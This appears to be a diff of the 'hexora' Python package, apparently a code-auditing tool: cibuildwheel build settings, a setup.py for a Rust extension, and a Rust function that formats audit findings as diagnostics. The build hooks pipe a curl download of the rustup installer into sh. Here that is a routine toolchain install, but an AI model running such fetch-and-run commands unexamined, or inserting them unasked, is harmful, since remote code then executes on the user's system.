requires = ["setuptools>=62.4", "wheel", "setuptools-rust>=1.5.2"]
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
[tool.cibuildwheel]
|
|
22
|
+
build-frontend = "build"
|
|
23
|
+
build-verbosity = 1
|
|
24
|
+
|
|
25
|
+
macos.before-all = "rustup target add aarch64-apple-darwin x86_64-apple-darwin"
|
|
26
|
+
macos.environment = { MACOSX_DEPLOYMENT_TARGET = "10.12" }
|
|
27
|
+
|
|
28
|
+
skip = [
|
|
29
|
+
"*-manylinux_i686",
|
|
30
|
+
"*-musllinux_i686",
|
|
31
|
+
"*-win32",
|
|
32
|
+
"*-musllinux_aarch64",
|
|
33
|
+
"pp*"
|
|
34
|
+
]
|
|
35
|
+
macos.archs = ["x86_64", "arm64"]
|
|
36
|
+
test-skip = "*-macosx_arm64"
|
|
37
|
+
|
|
38
|
+
[tool.cibuildwheel.linux]
|
|
39
|
+
before-all = "yum install -y openssl openssl-devel pkgconfig libatomic && curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal"
|
|
40
|
+
environment = { PATH = "$PATH:$HOME/.cargo/bin" }
|
|
41
|
+
|
|
42
|
+
[[tool.cibuildwheel.overrides]]
|
|
43
|
+
select = "*-musllinux*"
|
|
44
|
+
before-all = "apk --update add openssl openssl-dev pkgconfig libatomic && curl -sSf https://sh.rustup.rs | sh -s -- -y --profile minimal"
|
hexora-0.1.0/setup.cfg
ADDED
hexora-0.1.0/setup.py
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
from setuptools_rust import Binding, RustExtension
|
|
3
|
+
|
|
4
|
+
setup(
|
|
5
|
+
name="hexora",
|
|
6
|
+
rust_extensions=[
|
|
7
|
+
RustExtension(
|
|
8
|
+
"hexora._hexora",
|
|
9
|
+
binding=Binding.PyO3,
|
|
10
|
+
debug=False,
|
|
11
|
+
features=["python"],
|
|
12
|
+
)
|
|
13
|
+
],
|
|
14
|
+
packages=["hexora", ],
|
|
15
|
+
zip_safe=False,
|
|
16
|
+
package_dir={"hexora": "hexora"},
|
|
17
|
+
package_data={"hexora": ["py.typed"]},
|
|
18
|
+
)
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
use crate::audit::result::AuditItem;
|
|
2
|
+
use codespan_reporting::diagnostic::{Diagnostic, Label};
|
|
3
|
+
use codespan_reporting::files::SimpleFile;
|
|
4
|
+
use codespan_reporting::term;
|
|
5
|
+
use codespan_reporting::term::termcolor::Buffer;
|
|
6
|
+
use std::path::Path;
|
|
7
|
+
|
|
8
|
+
pub fn annotate_result(
|
|
9
|
+
item: &AuditItem,
|
|
10
|
+
path: &Path,
|
|
11
|
+
source_code: &str,
|
|
12
|
+
colored: bool,
|
|
13
|
+
) -> Result<String, String> {
|
|
14
|
+
let mut buffer = if colored {
|
|
15
|
+
Buffer::ansi()
|
|
16
|
+
} else {
|
|
17
|
+
Buffer::no_color()
|
|
18
|
+
};
|
|
19
|
+
if let Some(location) = item.location {
|
|
20
|
+
let file_path = path.display();
|
|
21
|
+
let file = SimpleFile::new(&file_path, &source_code);
|
|
22
|
+
let diagnostic = Diagnostic::warning()
|
|
23
|
+
.with_message(&item.description)
|
|
24
|
+
.with_code(item.rule.code())
|
|
25
|
+
.with_labels(vec![
|
|
26
|
+
Label::primary((), location.start().to_usize()..location.end().to_usize())
|
|
27
|
+
.with_message(item.rule.code()),
|
|
28
|
+
])
|
|
29
|
+
.with_note({
|
|
30
|
+
let mut note = String::new();
|
|
31
|
+
note.push_str(format!("Confidence: {:?}\n", &item.confidence).as_str());
|
|
32
|
+
if let Some(help_msg) = item.rule.help() {
|
|
33
|
+
note.push_str(format!("Help: {}", help_msg).as_str());
|
|
34
|
+
}
|
|
35
|
+
note
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
let config = term::Config {
|
|
39
|
+
before_label_lines: 3,
|
|
40
|
+
after_label_lines: 3,
|
|
41
|
+
..Default::default()
|
|
42
|
+
};
|
|
43
|
+
if let Err(e) = term::emit(&mut buffer, &config, &file, &diagnostic) {
|
|
44
|
+
return Err(e.to_string());
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
Ok(String::from_utf8_lossy(buffer.as_slice()).to_string())
|
|
48
|
+
}
|